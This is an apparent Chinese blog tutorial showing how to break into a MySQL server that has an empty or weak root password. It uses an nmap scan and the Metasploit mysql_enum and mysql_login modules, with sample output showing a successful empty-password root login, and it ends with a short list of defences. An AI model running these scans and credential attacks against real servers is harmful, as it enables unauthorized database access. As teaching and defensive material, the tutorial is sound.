使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502)

使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502)


警告

请勿将本文提到的任何技术用于非法用途

遵守中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》和/或当地其他相关法律法规

本文作者在进行试验时已获得省级相关部门和作者单位相关部门的批准。


特别提示

重要:在执行本文的任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

重要:执行本文的部分或全部命令有能违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否阅读本文。


协议

特别说明: 本文按“原样”提供,不做任何明示或暗示的担保,包括但不限于对适用性、正确性、使用情景合法性的担保。在和任何情况下,作者均不对读者使用本文提及的内容造成的结果进行赔偿或承担任何责任。

本作品采用 知识共享署名-禁止演绎 4.0 国际许可协议 进行许可。(CC-BY-ND 4.0)

当 CSDN 平台提供的版权协议与本协议 (CC-BY-ND 4.0) 不一致时,以本协议为准。

Copyright © 2022, 还没想好昵称的新建p

特别说明: 在转载时,禁止对本文的任何内容进行修改。

特别说明: “警告”和“协议”的全部内容应该按原样包含在本文的所有转载副本内容中。

如果您不同意协议中的任何一项请勿继续阅读或转载,并关闭此页面。


环境和约定
本文依据例行网络安全监测监测的真实案例改编。

我们约定,除非另有说明,本文所提及的攻击者和受害者 (靶机) 的 IP 地址和版本信息如下。

攻击者: localhost, Kali Linux + Windows 10, metasploit/6.1.27, nmap/7.91
受害者: 192.168.1.100, 推理操作系统 Linux (93%), 未能精确匹配操作系统信息

为保护隐私,本文提到的 IP 地址等为虚拟。


目的

利用 MySQL 的空密码或默认弱密码登录 MySQL。


CVE 信息

NVDCNNVD漏洞中文名称
CVE-2002-1809CNNVD-200212-263MySQL Null Root Password Weak默认配置漏洞
CVE-1999-0502CNNVD-199803-001Unix账户漏洞

CVE-2002-1809, CNNVD-200212-263

MySQL 3.23.2 到 3.23.52 的 Windows 二进制版本中默认配置存在 NULL 根密码。

CVE-1999-0502

Unix 账户存在默认、空、空白或丢失密码漏洞。


渗透过程

0. 准备工作

0.1 使用 Nmap 扫描受害主机

通过如下命令对受害者扫描,得到开放端口、版本、操作系统推理等信息。

nmap -A 192.168.1.100

通过观察如下结果,可知受害者开放 3306 端口,服务为 mysql,版本 MySQL/5.5.20-log 脆弱。

Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-29 02:33 China Standard Time
Nmap scan report for 192.168.1.100
Host is up (0.041s latency).
Not shown: 999 filtered ports
PORT     STATE  SERVICE       VERSION
3306/tcp open   mysql         MySQL 5.5.20-log
| mysql-info:
|   Protocol: 10
|   Version: 5.5.20-log
|   Thread ID: 233333333
|   Capabilities flags: 23333
|   Some Capabilities: …
|   Status: Autocommit
|   Salt: …
|_  Auth Plugin Name: mysql_native_password

Aggressive OS guesses: Linux (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   17.00 ms  192.168.0.1
2   18.00 ms  192.168.1.1
3   32.00 ms  192.168.1.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds
0.2 启动 Metasploit
msfconsole

进入 msfconsole 后,将看到启动文字界面和 msf6 > 。依次输入以下内容

1. 扫描用户

1.1 使用辅助扫描工具 (Auxiliary)

扫描用户时利用 CVE-2002-1809 漏洞。

使用如下命令选择 Auxiliary。

msf6 > use auxiliary/admin/mysql/mysql_enum
1.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(admin/mysql/mysql_enum) > show info

使用如下命令设置 rhosts

msf6 auxiliary(admin/mysql/mysql_enum) > set rhosts 192.168.1.100

将得到如下提示:rhosts => 192.168.1.100

1.3 攻击


警告

在执行任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示:执行此命令有违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者(亦可使用 run)。

exploit

通常,将看到如下结果。

[*] Running module against 192.168.1.100
[*] 192.168.1.100:3306 - Enumerating Parameters
[*] (省略一些受害者版本信息)
[*] 192.168.1.100:3306 - Enumerating Accounts:
[+] (省略一些受害者用户名密码)
[*] (省略一些具有不同权限的用户)
[*] Auxiliary module execution completed

2. 爆破口令

2.1 使用辅助扫描工具 (Auxiliary)

爆破口令时利用 CVE-1999-0502 漏洞。

使用如下命令选择 Auxiliary。

msf6 > use auxiliary/scanner/mysql/mysql_login
2.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(scanner/mysql/mysql_login) > show info

使用如下命令设置 rhosts

msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.1.100

将得到如下提示:rhosts => 192.168.1.100

如果受害者没有 CVE-2002-1809, CNNVD-200212-263 漏洞,请使用 set … … 命令妥善设置用户名、字典等,在此不作赘述。

2.3 攻击


警告

在执行任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示:执行此命令有违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者(亦可使用 run)。

exploit

通常,将看到如下结果。

[+] 192.168.1.100:3306 - 192.168.1.100:3306 - Found remote MySQL version 5.5.20
[!] 192.168.1.100:3306 - No active DB – Credential data will not be saved!
[+] 192.168.1.100:3306 - 192.168.1.100:3306 - Success: ‘root:’
[*] 192.168.1.100:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Enjoy it!

至此,渗透完成。


防护措施

  • 升级 MySQL
  • 更改强密码
  • 删除不必要的用户
  • 更换 MySQL 端口,或使用 Unix Socket 套接字
  • 禁止用户远程登陆
  • 注意前端可能包含数据库用户名密码的配置文件(如 CMS 使用的配置文件等)的权限

敬告

本文作者并不对上述防护措施有效性做任何担保。


Copyright © 2022, 还没想好昵称的新建p  ( CC-BY-ND 4.0)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值